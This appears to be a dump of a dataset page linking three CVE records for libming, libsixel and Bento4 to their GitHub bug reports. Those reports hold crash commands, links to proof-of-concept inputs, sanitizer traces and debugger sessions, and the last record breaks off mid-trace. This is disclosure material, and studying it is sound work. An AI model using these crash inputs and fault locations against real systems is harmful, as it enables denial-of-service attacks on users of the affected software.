DanCip/github-issues-references-proto · Datasets at Hugging Face

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CVE-2019-3572	2019-01-02T15:29:00.330	An issue was discovered in libming 0.4.8. There is a heap-based buffer over-read in the function writePNG in the file util/dbl2png.c of the dbl2png command-line program. Because this is associated with an erroneous call to png_write_row in libpng, an out-of-bounds write might occur for some memory layouts.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/169" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:libming:libming:0.4.8:::::::*", "matchCriteriaId": "DD92BC79-2548-4C6F-9BDD-26C12BDF68AC", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/libming/libming/issues/169	[ "Exploit", "Third Party Advisory" ]	github.com	[ "libming", "libming" ]	I found a a heap-buffer-overflow problem in function writePNG in file ./util/dbl2png.c:234. [poc.zip](https://github.com/libming/libming/files/2714649/poc.zip) ./debug/bin/dbl2png --verbose in2.dbl out.png image data RGB outsize=1605 size 65535 x 33023 unpacked data size t=1600 byte channel count=3 Segmentation fault (core dumped) ``` ==48243==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fdd403ff404 at pc 0x7fdd44327733 bp 0x7ffd2f1f8fa0 sp 0x7ffd2f1f8748 READ of size 262140 at 0x7fdd403ff404 thread T0 #0 0x7fdd44327732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x7fdd43e7fa17 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x7fdd43e7fa17 in png_write_row /home/fish/misc/libming/libpng-1.6.36/pngwrite.c:842 #3 0x557528274da6 in writePNG /home/fish/misc/libming/util/dbl2png.c:234 #4 0x5575282712d6 in main /home/fish/misc/libming/util/dbl2png.c:286 #5 0x7fdd43a8eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #6 0x557528271859 in _start (/home/fish/misc/libming/afl/bin/dbl2png+0x2859) 0x7fdd403ff404 is located 0 bytes to the right of 66714628-byte region [0x7fdd3c45f800,0x7fdd403ff404) allocated by thread T0 here: #0 0x7fdd4438cb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x55752827295b in readDBL /home/fish/misc/libming/util/dbl2png.c:133 #2 0x200000007 (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0ffc28077e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ffc28077e80:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==48243==ABORTING #0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:427 #1 0x00007ffff79a6a18 in memcpy (__len=<optimized out>, __src=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 png_write_row (png_ptr=0x555555758490, row=<optimized out>) at pngwrite.c:842 #3 0x00005555555557e3 in writePNG (fp=0x555555758260, png=...) at dbl2png.c:234 #4 0x0000555555555a1a in main (argc=0x3, argv=0x7fffffffde68) at dbl2png.c:286 #5 0x00007ffff75b5b97 in __libc_start_main (main=0x5555555558a9 <main>, argc=0x3, argv=0x7fffffffde68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde58) at ../csu/libc-start.c:310 #6 0x0000555555554eca in _start () 229 if(png.color_type == PNG_COLOR_TYPE_RGB) 230 { 231 png_set_filler(png_ptr, 0, PNG_FILLER_BEFORE); 232 for (i=0;i<png.height-1;i++) 233 { // ptr=0x00007fffffffdce0 → [...] → 0x357a4fff2b6a42ff → 234 png_write_row(png_ptr,ptr); 235 ptr+=png.width * 4; 236 } 237 } 238 if(png.color_type == PNG_COLOR_TYPE_PALETTE) 239 { gef➤ p ptr + png.width * 4 * 261 $3 = (byte ) 0x7ffff7395bfc "" gef➤ p ptr + png.width 4 * 262 $4 = (byte *) 0x7ffff73d5bf8 <error: Cannot access memory at address 0x7ffff73d5bf8> ```	a heap-buffer-overflow problem in function writePNG in file ./util/dbl2png.c:234	https://api.github.com/repos/libming/libming/issues/169/comments	1	2018-12-28T10:35:44Z	2019-01-07T16:23:12Z	https://github.com/libming/libming/issues/169	394,605,758	169
CVE-2019-3573	2019-01-02T15:29:00.360	In libsixel v1.8.2, there is an infinite loop in the function sixel_decode_raw_impl() in the file fromsixel.c, as demonstrated by sixel2png.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/TeamSeri0us/pocs/tree/master/libsixel" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/saitoha/libsixel/issues/83" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:libsixel_project:libsixel:1.8.2:::::::*", "matchCriteriaId": "BAFCC979-2F4E-46A5-AC18-B6452E752D90", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/saitoha/libsixel/issues/83	[ "Exploit", "Third Party Advisory" ]	github.com	[ "saitoha", "libsixel" ]	./sixel2png [infinite_loop_poc1](https://github.com/TeamSeri0us/pocs/blob/master/libsixel/infinite_loop_poc1) ``` ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:../../src/fromsixel.c+561 ]──── 556 default: 557 if (p >= '?' && p <= '~') { /* sixel characters / 558 if (image->width < (context->pos_x + context->repeat_count) \|\| image->height < (context->pos_y + 6)) { 559 sx = image->width 2; 560 sy = image->height * 2; // context=0x00007fffffffd6a0 → [...] → 0x0000000000000003, sx=0x0, sy=-0x80000000 → 561 while (sx < (context->pos_x + context->repeat_count) \|\| sy < (context->pos_y + 6)) { 562 sx = 2; 563 sy = 2; 564 } 565 status = image_buffer_resize(image, sx, sy, context->bgindex, allocator); 566 if (SIXEL_FAILED(status)) { ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "sixel2png", stopped, reason: SINGLE STEP ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff7b7ed89 → Name: sixel_decode_raw_impl(p=0x555555774630 "^\033\\", len=0x53, image=0x7fffffffd7e0, context=0x7fffffffd760, allocator=0x555555774300) [#1] 0x7ffff7b7f8b3 → Name: sixel_decode_raw(p=0x5555557745e0 "\033Pq\"1;1;70;11#1;2;", '1' <repeats 13 times>, "9;19;19#0!70~-!7", '1' <repeats 25 times>, "\"1111110^\033\\", len=0x53, pixels=0x7fffffffdc58, pwidth=0x7fffffffdc3c, pheight=0x7fffffffdc40, palette=0x7fffffffdc60, ncolors=0x7fffffffdc44, allocator=0x555555774300) [#2] 0x7ffff7bacc8c → Name: sixel_decoder_decode(decoder=0x555555774330) [#3] 0x555555554ea6 → Name: main(argc=0x2, argv=0x7fffffffde68) ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 561 while (sx < (context->pos_x + context->repeat_count) \|\| sy < (context->pos_y + 6)) { 1: sx = 0x0 gef➤ p context->pos_x + context->repeat_count $32 = 0x471c71c7 ``` ./img2sixel [heap-buffer-overflow-poc2](https://github.com/TeamSeri0us/pocs/blob/master/libsixel/heap-buffer-overflow-poc2) ``` Corrupt JPEG data: premature end of data segment ================================================================= ==100553==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc919e46f94 at pc 0x7fca3cf50228 bp 0x7fffe7f5e600 sp 0x7fffe7f5e5f8 READ of size 1 at 0x7fc919e46f94 thread T0 ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: Failed to use and restart external symbolizer! #0 0x7fca3cf50227 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x70227) #1 0x7fca3cf4c758 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x6c758) #2 0x7fca3cf53ae5 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x73ae5) #3 0x7fca3cf36b25 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x56b25) #4 0x7fca3d028e26 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x148e26) #5 0x7fca3cf88581 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0xa8581) #6 0x7fca3d0264de (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x1464de) #7 0x50564a (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x50564a) #8 0x7fca3bf2fb96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x41c139 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x41c139) 0x7fc919e46f94 is located 0 bytes to the right of 433805204-byte region [0x7fc900091800,0x7fc919e46f94) allocated by thread T0 here: #0 0x4cb710 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x4cb710) #1 0x7fca3d028ba1 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x148ba1) #2 0x7fca3cf88581 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0xa8581) #3 0x7fca3d0264de (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x1464de) #4 0x50564a (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x50564a) #5 0x7fca3bf2fb96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x70227) Shadow bytes around the buggy address: 0x0ff9a33c0da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff9a33c0df0: 00 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==100553==ABORTING gef➤ bt #0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249 #1 0x00007ffff7ba4bae in load_jpeg (result=0x555555777428, data=0x7ffff7fd4010 "\377\330\377", <incomplete sequence \340>, datasize=0x1263b, pwidth=0x555555777438, pheight=0x55555577743c, ppixelformat=0x555555777444, allocator=0x555555777300) at ../../src/loader.c:198 #2 0x00007ffff7ba62d7 in load_with_builtin (pchunk=0x5555557773f0, fstatic=0x0, fuse_palette=0x1, reqcolors=0x100, bgcolor=0x0, loop_control=0x0, fn_load=0x7ffff7bac395 <load_image_callback>, context=0x555555777330) at ../../src/loader.c:820 #3 0x00007ffff7ba67d1 in sixel_helper_load_image_file (filename=0x7fffffffe247 "/home/fish/testcase/images/jpg/random.jpg", fstatic=0x0, fuse_palette=0x1, reqcolors=0x100, bgcolor=0x0, loop_control=0x0, fn_load=0x7ffff7bac395 <load_image_callback>, finsecure=0x0, cancel_flag=0x555555759014 <signaled>, context=0x555555777330, allocator=0x555555777300) at ../../src/loader.c:1352 #4 0x00007ffff7bac50e in sixel_encoder_encode (encoder=0x555555777330, filename=0x7fffffffe247 "/home/fish/testcase/images/jpg/random.jpg") at ../../src/encoder.c:1737 #5 0x0000555555555545 in main (argc=0x2, argv=0x7fffffffde78) at ../../converters/img2sixel.c:457 ```	two bugs in img2sixel and sixel2png	https://api.github.com/repos/saitoha/libsixel/issues/83/comments	7	2019-01-02T08:08:21Z	2019-12-14T21:01:47Z	https://github.com/saitoha/libsixel/issues/83	395,173,691	83
CVE-2018-20659	2019-01-02T17:29:00.220	An issue was discovered in Bento4 1.5.1-627. The AP4_StcoAtom class in Core/Ap4StcoAtom.cpp has an attempted excessive memory allocation when called from AP4_AtomFactory::CreateAtomFromStream in Core/Ap4AtomFactory.cpp, as demonstrated by mp42hls.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/350" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-627:::::::*", "matchCriteriaId": "F87642DF-B939-4195-A2AE-F0F1D39CD16D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/350	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	A crafted input will lead to Memory allocation failed in Ap4StcoAtom.cpp at Bento4 1.5.1-627 Triggered by ./mp42hls crash7.mp4 Poc [crash7.mp4.zip](https://github.com/axiomatic-systems/Bento4/files/2718552/crash7.mp4.zip) Bento4 Version 1.5.1-627 The ASAN information is as follows: ``` ==10432==ERROR: AddressSanitizer failed to allocate 0x100002000 (4294975488) bytes of LargeMmapAllocator (error code: 12) ==10432==Process memory map follows: 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x561a5fbfc000-0x561a602a2000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x561a604a1000-0x561a604ab000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x561a604ab000-0x561a6067f000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x602e00000000 0x602e00000000-0x602e00010000 0x602e00010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x603e00000000 0x603e00000000-0x603e00010000 0x603e00010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x604e00000000 0x604e00000000-0x604e00010000 0x604e00010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x606e00000000 0x606e00000000-0x606e00010000 0x606e00010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x607e00000000 0x607e00000000-0x607e00010000 0x607e00010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x608e00000000 0x608e00000000-0x608e00010000 0x608e00010000-0x60b000000000 0x60b000000000-0x60b000010000 0x60b000010000-0x60be00000000 0x60be00000000-0x60be00010000 0x60be00010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60ce00000000 0x60ce00000000-0x60ce00010000 0x60ce00010000-0x60d000000000 0x60d000000000-0x60d000010000 0x60d000010000-0x60de00000000 0x60de00000000-0x60de00010000 0x60de00010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x60ee00000000 0x60ee00000000-0x60ee00010000 0x60ee00010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x611e00000000 0x611e00000000-0x611e00010000 0x611e00010000-0x615000000000 0x615000000000-0x615000010000 0x615000010000-0x615e00000000 0x615e00000000-0x615e00010000 0x615e00010000-0x616000000000 0x616000000000-0x616000010000 0x616000010000-0x616e00000000 0x616e00000000-0x616e00010000 0x616e00010000-0x619000000000 0x619000000000-0x619000010000 0x619000010000-0x619e00000000 0x619e00000000-0x619e00010000 0x619e00010000-0x621000000000 0x621000000000-0x621000010000 0x621000010000-0x621e00000000 0x621e00000000-0x621e00010000 0x621e00010000-0x624000000000 0x624000000000-0x624000010000 0x624000010000-0x624e00000000 0x624e00000000-0x624e00010000 0x624e00010000-0x631000000000 0x631000000000-0x631000020000 0x631000020000-0x631e00000000 0x631e00000000-0x631e00010000 0x631e00010000-0x640000000000 0x640000000000-0x640000003000 0x7f8b99e00000-0x7f8b99f00000 0x7f8b9a000000-0x7f8b9a100000 0x7f8b9a200000-0x7f8b9a300000 0x7f8b9a400000-0x7f8b9a500000 0x7f8b9a600000-0x7f8b9a700000 0x7f8b9a770000-0x7f8b9cac2000 0x7f8b9cac2000-0x7f8b9cc5f000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9cc5f000-0x7f8b9ce5e000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce5e000-0x7f8b9ce5f000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce5f000-0x7f8b9ce60000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce60000-0x7f8b9ce7a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9ce7a000-0x7f8b9d079000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d079000-0x7f8b9d07a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d07a000-0x7f8b9d07b000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d07b000-0x7f8b9d07f000 0x7f8b9d07f000-0x7f8b9d086000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d086000-0x7f8b9d285000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d285000-0x7f8b9d286000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d286000-0x7f8b9d287000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d287000-0x7f8b9d28a000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d28a000-0x7f8b9d489000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d489000-0x7f8b9d48a000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d48a000-0x7f8b9d48b000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d48b000-0x7f8b9d672000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d672000-0x7f8b9d872000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d872000-0x7f8b9d876000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d876000-0x7f8b9d878000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d878000-0x7f8b9d87c000 0x7f8b9d87c000-0x7f8b9d893000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9d893000-0x7f8b9da92000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da92000-0x7f8b9da93000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da93000-0x7f8b9da94000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da94000-0x7f8b9dc0d000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9dc0d000-0x7f8b9de0d000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de0d000-0x7f8b9de17000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de17000-0x7f8b9de19000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de19000-0x7f8b9de1d000 0x7f8b9de1d000-0x7f8b9df6d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9df6d000-0x7f8b9e16d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e16d000-0x7f8b9e170000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e170000-0x7f8b9e173000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e173000-0x7f8b9edd8000 0x7f8b9edd8000-0x7f8b9edff000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9ee9f000-0x7f8b9efea000 0x7f8b9efea000-0x7f8b9efff000 0x7f8b9efff000-0x7f8b9f000000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9f000000-0x7f8b9f001000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9f001000-0x7f8b9f002000 0x7ffce3bd8000-0x7ffce3bf9000 [stack] 0x7ffce3bfb000-0x7ffce3bfe000 [vvar] 0x7ffce3bfe000-0x7ffce3c00000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==10432==End of process memory map. ==10432==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0) #0 0x7f8b9df06c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02) #1 0x7f8b9df25595 in __sanitizer::CheckFailed(char const, int, char const, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595) #2 0x7f8b9df10492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492) #3 0x7f8b9df1c8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5) #4 0x7f8b9de46a51 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x29a51) #5 0x7f8b9defd5de in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe05de) #6 0x561a5ffcf4c4 in AP4_StcoAtom::AP4_StcoAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StcoAtom.cpp:81 #7 0x561a5ffcf104 in AP4_StcoAtom::Create(unsigned int, AP4_ByteStream&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StcoAtom.cpp:52 #8 0x561a5ff41d64 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:434 #9 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x561a5ffbe494 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:115 #12 0x561a5ffc2710 in AP4_VisualSampleEntry::AP4_VisualSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:742 #13 0x561a5ffc3f00 in AP4_AvcSampleEntry::AP4_AvcSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:994 #14 0x561a5ff40e2d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:306 #15 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) 